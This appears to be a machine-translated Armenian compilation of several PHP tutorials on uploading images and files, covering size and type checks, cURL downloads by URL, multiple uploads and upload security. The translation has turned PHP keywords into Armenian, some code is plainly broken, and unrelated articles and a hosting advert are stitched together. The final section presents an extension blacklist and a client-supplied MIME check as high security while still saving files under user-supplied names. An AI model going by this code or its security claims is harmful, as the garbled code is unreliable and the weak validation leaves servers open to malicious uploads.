Զանգված ( => 1280 // լայնություն => 768 // բարձրություն => 2 // տեսակ => լայնություն = "1280" բարձրություն = "768" // ատրիբուտներ HTML-ի համար => 8 // գույնի խորություն => 3 // գունային մոդել => պատկեր/jpeg // MIME տեսակ)

Պատկերը հետագա վավերացնելու և դրա վրա աշխատելու համար մենք միայն պետք է իմանանք 3 արժեք. լայնությունը, բարձրությունըԵվ չափըֆայլ (չափը հաշվարկելու համար օգտագործեք գործառույթը Ֆայլի չափ()ժամանակավոր թղթապանակից երկուական ֆայլի համար):

// Ֆունկցիայի արդյունքը գրել փոփոխականին$image = getimagesize ($filePath); $limitBytes = 1024 * 1024 * 5; $limitWidth = 1280; $limitHeight = 768; // Ստուգեք անհրաժեշտ պարամետրերը if (filesize ($filePath ) > $limitBytes ) die ( «Պատկերի չափը չպետք է գերազանցի 5 ՄԲ»։); if ($image > $limitHeight ) die(); եթե ($image > $limitWidth ) die();

Բոլոր ստուգումներից հետո մենք կարող ենք վստահորեն տեղափոխել մեր ներբեռնված ֆայլը նկարներով ինչ-որ թղթապանակ: Ավելի լավ է դա անել ֆունկցիայի միջոցով move_uploaded_file (), որն աշխատում է անվտանգ ռեժիմով։ Նախքան ֆայլը տեղափոխելը, չպետք է մոռանալ ստեղծել պատահական անուն և ընդլայնում պատկերի տեսակիցմեր ֆայլի համար։ Ահա թե ինչ տեսք ունի.

// Ստեղծեք նոր ֆայլի անուն՝ հիմնված MD5 հեշի վրա$name = md5_file ($filePath); // Կրճատել .jpeg-ը .jpg// Նոր անունով և ընդլայնմամբ նկարը տեղափոխեք /pics պանակ if (! move_uploaded_file ($filePath , __DIR__ . "/pics/" . $name . $format )) ( die ( «Պատկերը սկավառակի վրա գրելիս սխալ է տեղի ունեցել»:); }

Սա ավարտում է պատկերի բեռնումը: Ավելի հարմար ֆայլերի վերբեռնման համար կարող եք օգտագործել UploadedFile դասը Symfony HttpFoundation փաթեթից, որը փաթաթում է $_FILESև նաև պահպանում է ֆայլը միջոցով move_uploaded_file ().

§5. Պատկերի վերբեռնում հղման միջոցով

Պատկերը հղման միջոցով ներբեռնելու համար մեզ անհրաժեշտ է cURL գրադարանը, որն աշխատում է հեռավոր ռեսուրսներով։ Օգտագործելով այն, մենք բովանդակությունը կներբեռնենք փոփոխականի մեջ: Մի կողմից, կարող է թվալ, որ այդ նպատակների համար դա հարմար կլինի file_get_contents (), բայց իրականում մենք չենք կարողանա վերահսկել ներբեռնված տվյալների քանակը և սովորաբար կարգավորել բոլոր առաջացող սխալները: Որպեսզի cURL-ը ճիշտ ներբեռնի մեզ անհրաժեշտ տվյալները. թույլատրեք հետևել վերահղումներ, միացնել ստուգումը ատեստատ, նշել առավելագույն ժամանակ cURL-ի կատարումը (ձևավորվում է ներբեռնված տվյալների ծավալով և ռեսուրսի հետ աշխատելու միջին արագությամբ): Ինչպես ճիշտ ներբեռնել ֆայլը փոփոխական, ներկայացված է ստորև՝ անհրաժեշտ պարամետրերով.

// Ինչ-որ կերպ ստանալ հղումը$url = "https://site.ru/picture.jpg" ; // Ստուգեք HTTP-ը հղման հասցեում if (! preg_match ("/^https?:/i" , $url ) && filter_var ($url, FILTER_VALIDATE_URL)) ( die ( «Խնդրում ենք տրամադրել վավեր հղում դեպի հեռավոր ֆայլը»:); } // Գործարկեք cURL-ը մեր հղումով$ch = curl_init ($url); // Նշեք cURL-ի կարգավորումները curl_setopt_array ($ch, [ // Նշեք cURL-ի գործարկման առավելագույն ժամանակը CURLOPT_TIMEOUT => 60, // Թույլատրել վերահղումներին հետևել CURLOPT_FOLLOWLOCATION => 1, // Թույլ տալ, որ արդյունքը գրվի փոփոխականի վրա CURLOPT_RETURNTRANSFER => 1, // Միացնել տվյալների բեռնման ցուցիչը CURLOPT_NOPROGRESS => 0, // Սահմանեք բուֆերի չափը 1 ԿԲ CURLOPT_BUFFERSIZE => 1024, // Եկեք գրենք ներբեռնված տվյալները հաշվելու ֆունկցիա // Մանրամասն՝ http://stackoverflow.com/a/17642638 CURLOPT_PROGRESSFUNCTION => ֆունկցիա ($ch, $dwnldSize, $dwnld, $upldSize, $upld) ( // Երբ ներբեռնվի ավելի քան 5 ՄԲ, cURL-ը կդադարեցվիեթե ($dwnld > 1024 * 1024 * 5 ) (վերադարձ - 1 ; ) ), // Միացնել վկայագրի ստուգումը (կանխադրված) CURLOPT_SSL_VERIFYPEER => 1, // Ստուգեք վկայագրի անունը և արդյոք այն համապատասխանում է նշված հոսթին (կանխադրված) CURLOPT_SSL_VERIFYHOST => 2, // Նշեք ստուգման վկայականը // Ներբեռնեք՝ https://curl.haxx.se/docs/caextract.html CURLOPT_CAINFO => __DIR__: «/cacert.pem», ]); $raw = curl_exec ($ch); // Ներբեռնեք տվյալները փոփոխականին$info = curl_getinfo ($ch); // Ստացեք տեղեկատվություն գործողության մասին$ սխալ = curl_errno ($ ch); // Գրեք վերջին սխալի կոդը // Ավարտեք cURL նիստը curl_close ($ ch);

Եթե ​​ամեն ինչ լավ ընթանա, և cURL-ն ավարտվի 60 վայրկյանի ընթացքում, ապա հղումից բովանդակությունը կներբեռնվի փոփոխականի մեջ: $ հում. Բացի այդ, գործառույթը curl_getinfo ()կվերադարձնի տեղեկատվությունը կատարված հարցման մասին, որտեղից մենք կարող ենք լրացուցիչ տեղեկություններ ստանալ հեռավոր ռեսուրսների հետ աշխատանքը վերլուծելու համար.

Զանգված ( => պատկեր/jpeg // MIME տեսակը Content-Type-ից => 200 // վերջին HTTP կոդը => 0 // վերահղումների քանակը => 0.656 // cURL գործարկման ընդհանուր ժամանակը => 0.188 // հոսթին միանալու ժամանակը => 4504 // ստացված տվյալների իրական չափը => 4504 // տվյալների չափը Content-Length-ից /* ... */ )

Հաջորդը մենք պետք է ստուգենք, թե արդյոք սխալներ կան curl_errno ()և համոզվեք, որ ռեսուրսը վերադարձնում է 200 HTTP կոդ, հակառակ դեպքում մենք կասենք, որ այսինչ URL-ում ոչինչ չի գտնվել։ Ի վերջո, ստուգում է փոփոխականը $ հումփոխանցում դեպի getimagesizefromstring()և մենք աշխատում ենք ըստ ապացուցված սխեմայի, ինչպես նկարները ձևից բեռնելու դեպքում։

Խնդրում ենք նկատի ունենալ, որ մենք վավերացնում ենք ֆայլի չափը տվյալները ստանալու պահին, քանի որ չենք կարող վստահել curl_getinfo() 100%-ով, քանի որ content_type, http_code, download_content_length արժեքները ձևավորվում են ստացված HTTP վերնագրերի հիման վրա: Ամբողջ ֆայլը ներբեռնելը և այնուհետև բայթերի քանակը ստուգելը շատ ժամանակ և հիշողություն կպահանջի: Հետևաբար, մենք վերահսկում էինք ստացված տվյալների չափը՝ օգտագործելով CURLOPT_PROGRESSFUNCTION տարբերակը. հենց որ cURL-ը ստանա մեր սահմանաչափից ավելի շատ տվյալներ, այն կդադարի աշխատել և կհայտնվի CURLE_ABORTED_BY_CALLBACK սխալ:

// Ստուգեք cURL-ի սխալները և ֆայլի առկայությունըեթե ($error === CURLE_OPERATION_TIMEDOUT) մահանա ( «Սպասման սահմանաչափը գերազանցված է».); եթե ($error === CURLE_ABORTED_BY_CALLBACK) մահանա ( «Չափը չպետք է գերազանցի 5 ՄԲ»։); եթե ($info ["http_code" ] !== 200) մեռնի ( «Ֆայլը հասանելի չէ»:); // Ստեղծել FileInfo ռեսուրս$fi = finfo_open (FILEINFO_MIME_TYPE); // Ստացեք MIME տեսակը՝ օգտագործելով $raw-ի բովանդակությունը$mime = (string) finfo_buffer ($fi, $raw); // Փակեք FileInfo ռեսուրսը finfo_close ($fi); // Ստուգեք պատկերի հիմնաբառը (պատկեր/jpeg, պատկեր/png և այլն) if (strpos($mime, "image") === false) die( «Միայն պատկերներ կարելի է վերբեռնել»։); // Վերցրեք պատկերի տվյալները դրա բովանդակությունից$image = getimagesizefromstring($raw); // Սահմանել սահմանափակումներ պատկերների համար$limitWidth = 1280; $limitHeight = 768; // Ստուգեք անհրաժեշտ պարամետրերըեթե ($image > $limitHeight ) մահանա ( «Պատկերի բարձրությունը չպետք է գերազանցի 768 պիքսելը»:); եթե ($image > $limitWidth ) մահանա ( «Պատկերի լայնությունը չպետք է գերազանցի 1280 պիքսելը»:); // Ստեղծեք նոր անուն պատկերի MD5 հեշից$name = md5 ($raw); // Ստեղծեք ֆայլի ընդլայնում, որը հիմնված է պատկերի տեսակի վրա$extension = image_type_to_extension ($image); // Կրճատել .jpeg-ը .jpg$format = str_replace ("jpeg" , "jpg" , $extension ); // Պահպանեք նկարը նոր անունով և ընդլայնմամբ /pics պանակում if (! file_put_contents (__DIR__ . "/pics/" . $name . $format, $raw )) ( die ( «Պատկերը սկավառակի վրա պահելիս սխալ է տեղի ունեցել»:); }

Պատկերը սկավառակի վրա պահելու համար կարող եք օգտագործել file_put_contents ()որը բովանդակությունը կգրի ֆայլում: Մենք կստեղծենք նոր ֆայլի անուն՝ օգտագործելով ֆունկցիան md5 (), և եկեք ընդլայնում անենք image_type_to_extension(). Այժմ մենք կարող ենք ներբեռնել ցանկացած նկար հղումից։

§6. Բազմակի ֆայլերի ընտրության կարգավորում

Այս պարբերությունում մենք կանդրադառնանք օգտագործողի տեղական մեքենայից և հեռակա հղումների միջոցով միաժամանակ մի քանի պատկերներ ներբեռնելու եղանակներին: Հղումներ ուղարկելու համար մենք օգտագործում ենք $_POSTև բոլոր տվյալները փոխանցեք դրան՝ օգտագործելով պիտակը textarea. Ձևից ֆայլեր վերբեռնելու համար մենք կշարունակենք աշխատել $_FILES. Մեր նոր HTML ձևը մի փոքր կտարբերվի հինից:

Ֆայլի ընտրության դաշտի վերջում անուն = "վերբեռնել"ավելացրել է գանգուր բրեկետներ և հատկանիշ բազմակի, որը թույլ է տալիս դիտարկիչին ընտրել մի քանի ֆայլ: Բոլոր ֆայլերը նորից կներբեռնվեն ժամանակավոր պանակ, եթե php.ini-ում սխալներ չկան: Դուք կարող եք ընդհատել դրանք $_FILES, բայց այս անգամ սուպերգլոբալ փոփոխականը կունենա անհարմար կառուցվածք՝ զանգվածում տվյալները մշակելու համար։ Այս խնդիրը կարող է լուծվել զանգվածի հետ փոքր մանիպուլյացիաներով.

// Փոխել $_FILES կառուցվածքը foreach ($_FILES ["upload" ] as $key => $value ) ( foreach ($value as $k => $v ) ($_FILES ["upload" ][$k ][$key ] = $v ; ) // Ջնջել հին ստեղներըչեղարկել ($_FILES [«վերբեռնել» ][$key ]); ) // Բեռնել բոլոր նկարները հերթականությամբ foreach ($_FILES [«վերբեռնել» ] որպես $k => $v) ( // Բեռնել մեկ ֆայլ միաժամանակ$_FILES ["բեռնել" ][$k ]["tmp_name"]; $_FILES ["վերբեռնել" ][$k ]["սխալ"]; )

Մի քանի պատկերներ URL-ով ներբեռնելու համար մենք մեր հղումները կփոխանցենք միջոցով textareaԱնունով անուն = "վերբեռնել", որտեղ դրանք կարող են նշվել՝ բաժանված բացատով կամ նոր տողով։ Գործառույթ preg_splitկվերլուծի բոլոր տվյալները $_POST["վերբեռնել"]և կձևավորի զանգված, որի միջոցով դուք պետք է պտտեք և ուղարկեք յուրաքանչյուր վավեր URL մշակողին:

$data = preg_split ("/\s+/" , $_POST ["վերբեռնում"], - 1, PREG_SPLIT_NO_EMPTY); foreach ($data որպես $url) ( // Վավերացրեք և բեռնեք պատկերը URL-ով }

Իրոք, ֆայլերի վերբեռնումը շատ կայքերի և վեբ հավելվածների կարևոր հատկանիշն է, որը մենք օգտագործում ենք ամեն օր: Այս հոդվածում ես ձեզ ցույց կտամ PHP-ով ֆայլեր վերբեռնելու ևս մեկ եղանակ:

Պահանջներ

Ֆայլերը սերվեր բեռնելը դժվար չէ, բայց կան մի քանի փոքր մանրամասներ, որոնք պետք է հաշվի առնել, հակառակ դեպքում վերբեռնումը չի ավարտվի: Նախ, դուք պետք է համոզվեք, որ PHP-ն կազմաձևված է ներբեռնումները թույլ տալու համար: Ստուգեք Ձեր php.iniֆայլ և ստուգեք file_uploads հրահանգը, որը պետք է սահմանվի Վրա.

Երբ կարգավորեք կոնֆիգուրացիաները, որոնք թույլ կտան սերվերին ընդունել վերբեռնված ֆայլերը, կարող եք ձեր ուշադրությունը կենտրոնացնել HTML բաղադրիչի վրա: Ձևերը օգտագործվում են HTML-ից ֆայլեր վերբեռնելու համար: Չափազանց կարևոր է, որ ձեր ձևերն օգտագործեն POST մեթոդը և ունենան enctype հատկանիշը բազմամաս/ձև-տվյալների համար:

<form action = "upload.php" մեթոդ = "post" enctype = "multipart/form-data" >

Բեռնման գործընթացի սցենար գրելը

Ընդհանուր առմամբ ֆայլի ներբեռնման գործընթացը հետևյալն է.

  • Այցելուն դիտում է HTML էջ՝ ֆայլի վերբեռնման ձևով.
  • Այցելուն ընտրում է այն ֆայլը, որը ցանկանում է ներբեռնել ձևով.
  • Զննարկիչը կոդավորում է ֆայլը և ուղարկում այն ​​որպես POST հարցումի մաս;
  • PHP-ն ստանում է ներկայացուցչության ձևը, վերծանում է ֆայլը և պահում այն ​​սերվերի ժամանակավոր գրացուցակում;
  • Հաջորդը, PHP սկրիպտը ֆայլը տեղափոխում է մշտական ​​պահպանման վայր:

Հետևաբար, որպեսզի այցելուն կարողանա ֆայլ վերբեռնել, անհրաժեշտ է HTML ձև, որը կտրամադրվի օգտագործողին և PHP սկրիպտ՝ ֆայլերը սերվեր վերբեռնելու համար:

HTML ձև

HTML ձևերը ապահովում են ինտերֆեյս, որի միջոցով օգտատերը սկսում է ֆայլերի վերբեռնումը: Հիշեք, որ ձևի տարրը պետք է ունենա մեթոդ = POST և չպետք է կոդավորի տվյալները, երբ ուղարկվում է սերվեր. Մենք տեղադրում ենք մուտքային տարր՝ ֆայլ ընտրելու համար: Ինչպես ցանկացած այլ ձևի տարրի դեպքում, մեզ համար շատ կարևոր է նշել name հատկանիշի արժեքը, որպեսզի այն կարողանա հղում կատարել PHP սկրիպտում, որը մշակում է ձևը:

Ֆայլի վերբեռնման ձևն ունի հետևյալ տեսքը.

1
2
3
4
5






Հարկ է նշել, որ տարբեր բրաուզերներ տարբեր կերպ են ցուցադրում ֆայլի դաշտը: Սա խնդիր չէ, քանի որ օգտվողները սովոր են, թե ինչպես է ֆայլերի ընտրության դաշտը նայում իրենց սիրելի բրաուզերում: Այնուամենայնիվ, եթե արտաքին տեսքը ձեզ համար կարևոր է, խորհուրդ եմ տալիս կարդալ այս հոդվածը:

PHP ներբեռնման սցենար

Ներբեռնված ֆայլի մասին տեղեկատվությունը գտնվում է $_FILES բազմաչափ զանգվածում: Այս զանգվածը ինդեքսավորվում է ձևի HTML դաշտում տեղադրված ֆայլերի անուններով։ Զանգվածը պարունակում է հետևյալ տեղեկությունները յուրաքանչյուր ֆայլի մասին.

  • $_FILES ["myFile"]["name"] - բնօրինակ ֆայլի անունը;
  • $_FILES ["myFile"]["type"] - MIME ֆայլի տեսակը;
  • $_FILES ["myFile"]["size"] - ֆայլի չափը (բայթերով);
  • $_FILES["myFile"]["tmp_name"]— ժամանակավոր ֆայլի անվանումը.
  • $_FILES["myFile"]["սխալ"]- փոխանցման ընթացքում ցանկացած սխալի կոդը:

Move_uploaded_file() ֆունկցիան վերբեռնված ֆայլը տեղափոխում է ժամանակավոր վայրից մշտական ​​տեղ: Դուք միշտ պետք է օգտագործեք move_uploaded_file() copy()-ի փոխարեն և rename() այս նպատակով, քանի որ այն լրացուցիչ ստուգում է կատարում՝ համոզվելու համար, որ ֆայլը իրականում վերբեռնվել է HTTP POST հարցումով:

Եթե ​​նախատեսում եք ֆայլը պահել իրական անունով, ապա պետք է հետևեք մի քանի կանոնների. Ֆայլի անունը չպետք է պարունակի նիշեր, ինչպիսիք են շեղերը, որոնք կարող են ազդել գտնվելու վայրի վրա: Անունը չպետք է համընկնի առկա ֆայլերի անվան հետ, որպեսզի դրանք չվերագրվեն: Մենք տառ կամ թիվ չհանդիսացող նիշերը փոխարինում ենք ընդգծումով և ավելացնում ենք «խոշորացնող» թիվ, եթե անունները համընկնում են:

PHP-ի միջոցով ֆայլերի վերբեռնումներ ստանալը և վարելը հետևյալն է.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

// տեղեկատու ֆայլը պահպանելու համար
սահմանել ("UPLOAD_DIR" , "/srv/www/uploads/" );

եթե (! դատարկ ($_FILES [ "myFile" ] ) ) (
$myFile = $_FILES [ «myFile» ] ;

// ստուգեք բեռնման ժամանակ սխալների առկայությունը
եթե ($myFile [ «սխալ» ] !== UPLOAD_ERR_OK) (
արձագանք "

Սխալ է տեղի ունեցել.

" ;
ելք;
}

// ապահովել անվտանգ ֆայլի անուն
$name = preg_replace ("/[^A-Z0-9._-]/i" , "_" , $myFile [ "name" ] );

// եթե ֆայլերի անունները համընկնում են, ավելացրեք թիվ
$i = 0;
$parts = pathinfo ($name) ;
while (file_exists (UPLOAD_DIR . $name ) ) (
$i++;
$name = $parts [ «ֆայլի անուն» ]: «-». $i . «». . $parts["ընդլայնում"];
}

// տեղափոխել ֆայլը մշտական ​​պահպանման վայր
$success = move_uploaded_file ($myFile [ «tmp_name» ],
UPLOAD_DIR: $name);
եթե (! $հաջողություն ) (
արձագանքել "";
ելք;
}

// սահմանել թույլտվությունները նոր ֆայլի համար
chmod (UPLOAD_DIR. $name, 0644);

արձագանք»

Ֆայլը " . $name . «Հաջողությամբ բեռնվեց:

" ;
}

Սկզբում մենք ստուգում ենք ֆայլը, որպեսզի տեսնենք, թե արդյոք այն ներբեռնվել է առանց որևէ սխալի: Այնուհետև մենք սահմանում ենք անվտանգ ֆայլի անուն և այնուհետև տեղադրում ենք ֆայլը վերջնական գրացուցակում՝ օգտագործելով move_uploaded_file(): Եվ վերջում մենք սահմանում ենք ֆայլի մուտքի իրավունքները:

Անվտանգության հարցեր

Մեզանից շատերը թույլ չեն տա, որ բոլորովին անծանոթ ֆայլերը ներբեռնվեն և պահպանվեն մեր սերվերում, բայց, ցավոք, ներկա իրավիճակում դա այդպես է: Հետևաբար, դուք պետք է նկարագրեք մի քանի քայլեր, որոնք նվազագույնի կհասցնեն ֆայլերի ներբեռնման հետ կապված անվտանգության ռիսկերը:

Դրանցից մեկը ներբեռնվող ֆայլի տեսակը ստուգելն է: $_FILES[“myFile”][“type”]-ում պահված արժեքի վրա հույս դնելը «լավ չէ», քանի որ ֆայլերի անունների ընդլայնումները հեշտությամբ կարող են կեղծվել: Նման իրավիճակներում ավելի լավ է վերլուծել ֆայլի բովանդակությունը, օրինակ՝ exif_imagetype() ֆունկցիայի օգտագործումը թույլ է տալիս որոշել՝ արդյոք ներբեռնված ֆայլն իսկապես պատկեր է GIF, JPEG և այլն ընդլայնումով։ Եթե ​​exif_imagetype()-ը հասանելի չէ (գործառույթը պահանջում է ընդլայնում Էքսիֆ), ապա կարող եք օգտագործել getimagesize() ։ Վերադարձված զանգվածը կպարունակի պատկերի չափերն ու տեսակը:

1
2
3
4
5
6
7

...
// ֆայլը պետք է լինի պատկեր
$fileType = exif_imagetype ($_FILES [ «myFile» ] [ «tmp_name» ] );
$թույլատրված = զանգված (IMAGETYPE_GIF, IMAGETYPE_JPEG, IMAGETYPE_PNG) ;
if (! in_array ($fileType, $թույլատրված) ) (
// ֆայլի տեսակը չի թույլատրվում
...

Ոչ գրաֆիկական ֆայլերի համար կարող եք օգտագործել Exec()՝ Unix File ծրագիրը կանչելու համար: Այս օգտակար ծրագիրը որոշում է ֆայլի տեսակը:

Մեկ այլ քայլ, որը կարող եք ձեռնարկել՝ ֆայլեր վերբեռնելիս անվտանգությունն ուժեղացնելու համար, POST հարցման ընդհանուր չափի և բեռնվող ֆայլերի քանակի վրա խիստ սահմանափակումներ դնելն է: Դա անելու համար դուք պետք է նշեք համապատասխան արժեքը ֆայլում upload_max_size, post_max_size և max_file_uploads հրահանգների համար: php.ini.

  • upload_max_size-ը սահմանում է բեռնված ֆայլերի առավելագույն չափը:
  • Բացի վերբեռնման չափից, դուք կարող եք սահմանափակել POST հարցման չափը post_max_size հրահանգի շնորհիվ:
  • max_file_uploads-ը ավելի նոր հրահանգ է (ավելացվել է 5.2.12 տարբերակում), որը սահմանափակում է բեռնված ֆայլերի քանակը:

post_max_size = 8M
upload_max_size = 2M
max_file_uploads = 20

Երրորդ (որոշ չափով էկզոտիկ) քայլը, որը դուք կարող եք ձեռնարկել՝ ֆայլեր ներբեռնելիս ռիսկը նվազագույնի հասցնելու համար հակավիրուսային սկաների միջոցով սկանավորումն է: Արժե ավելացնել, որ այս թեման շատ լուրջ է, ուստի այն պետք է բավականաչափ ուշադրություն դարձնել վեբ հավելվածներ մշակելիս:

Այսպես է լինում ֆայլերի վերբեռնում սերվեր՝ օգտագործելով PHP. Եթե ​​ունեք որևէ մեկնաբանություն կամ լրացում այս հոդվածին, թողեք դրանք մեկնաբանություններում։ Շնորհակալություն կարդալու համար:

P.S.Դուք ունե՞ք կայք, որը հիմնված է Joomla շարժիչի վրա և օգտվում եք հոստինգ ծառայություններից: Նրանց համար, ովքեր հասնում են ինտերնետ նախագծերի առավելագույն կատարման, արժե փորձել հոսթինգ joomla-ով: Joomla կայքերի մասնագիտացված հոսթինգը կապահովի կայուն և արդյունավետ աշխատանք, իսկ բարենպաստ սակագնային պլանները ոչ ոքի անտարբեր չեն թողնի:

Վերջին հոդվածում մենք քննարկեցինք ձեզ հետ: Այնուամենայնիվ, ես արդեն ասացի ձեզ, որ այնտեղ քննարկված ծածկագիրը բացարձակապես արգելված է օգտագործել: Եվ այս հոդվածում մենք կխոսենք անվտանգություն PHP-ում ֆայլեր սերվերում վերբեռնելիս.

Հիշեցնեմ այն ​​կոդը, որը մենք դիտեցինք երեկ.

$uploadfile = "images/".$_FILES["somename"]["name"];
move_uploaded_file ($_FILES["somename"]["tmp_name"], $uploadfile);
?>

Փաստորեն, այս պահին բացարձակապես ամեն ինչ կարելի է ներբեռնել՝ ցանկացած գործարկվող ֆայլ, սցենար, HTML էջերև այլ շատ վտանգավոր բաներ: Հետեւաբար, դուք պետք է շատ ուշադիր ստուգեք ներբեռնված ֆայլերը: Եվ հիմա մենք կսկսենք մանրակրկիտ ստուգել դրանք:

Քանի որ առաջադրանքների համար կարող են լինել շատ տարբեր տարբերակներ, մենք կքննարկենք պարզ պատկերի բեռնման տարբերակը, որը պետք է ենթարկվի հետևյալ սահմանափակումներին.

  1. Տեսակը - միայն jpg (jpeg).
  2. Չափը - պակաս 100 ԿԲ.
«Այս պահանջներին համապատասխան.

$սև ցուցակ = զանգված (".php", ".phtml", ".php3", ".php4", ".html", ".htm");
foreach ($սև ցուցակ որպես $item)
if(preg_match("/$item\$/i", $_FILES["somename"]["name"])) ելք;
$type = $_FILES["somename"]["type"];
$size = $_FILES["somename"]["size"];
եթե (($type != "image/jpg") && ($type != "image/jpeg")) դուրս գալ;
եթե ($size > 102400) ելք;
$uploadfile = "images/".$_FILES["somename"]["name"];
move_uploaded_file ($_FILES["somename"]["tmp_name"], $uploadfile);
?>

Հիմա մանրամասն բացատրեմ, թե ինչ է կատարվում այստեղ։ Առաջին հերթին մենք ստուգեք ներբեռնված ֆայլի ընդլայնումը. Եթե ​​այն ներկայացնում է PHP սցենար, ապա մենք պարզապես չենք բաց թողնում նման ֆայլը։ Հաջորդը մենք ստանում ենք MIME-տիպև չափս։ Մենք ստուգում ենք դրանք՝ համոզվելու համար, որ նրանք համապատասխանում են մեր պայմաններին: Եթե ​​ամեն ինչ լավ է, ապա մենք ներբեռնում ենք ֆայլը:

Դուք հավանաբար հարցնեք. Ինչու՞ պետք է ստուգեք և՛ ընդլայնումը, և՛ MIME-տեսակը:«Շատ կարևոր է հասկանալ, որ դա հեռու է նույն բանից, եթե հարձակվողը փորձի ուղարկել PHP ֆայլ բրաուզերի միջոցով, ապա մեկ MIME տիպի ստուգումներբավական է, որ նրա փորձը ձախողվի: Բայց եթե նա գրի ինչ-որ սցենար, որը կստեղծի հարցում և կուղարկի վնասակար ֆայլ, ապա դա բավարար չի լինի: Ինչո՞ւ։ Բայց քանի որ MIME-տիպսահմանված է հաճախորդի կողմից, ոչ թե սերվերի կողմից: Եվ իրականում հարձակվողը կարող է դնել ցանկացած MIME-տիպ(և նկարները նույնպես), բայց միևնույն ժամանակ ուղարկեք PHP սցենար. Եվ հենց այս խորամանկ փորձն է, որ մենք կոտրում ենք՝ ստուգելով ֆայլի ընդլայնումը:

Միանգամից կասեմ, որ այս կոդը շատ հեռու է 100% պաշտպանություն (100% պարզապես գոյություն չունի), այնուամենայնիվ, նման ծածկագիրը կոտրելը շատ, շատ դժվար կլինի, այնպես որ կարող եք ապահով ասել, որ դուք տրամադրել եք բարձր անվտանգություն PHP-ի միջոցով ֆայլեր սերվեր բեռնելիս.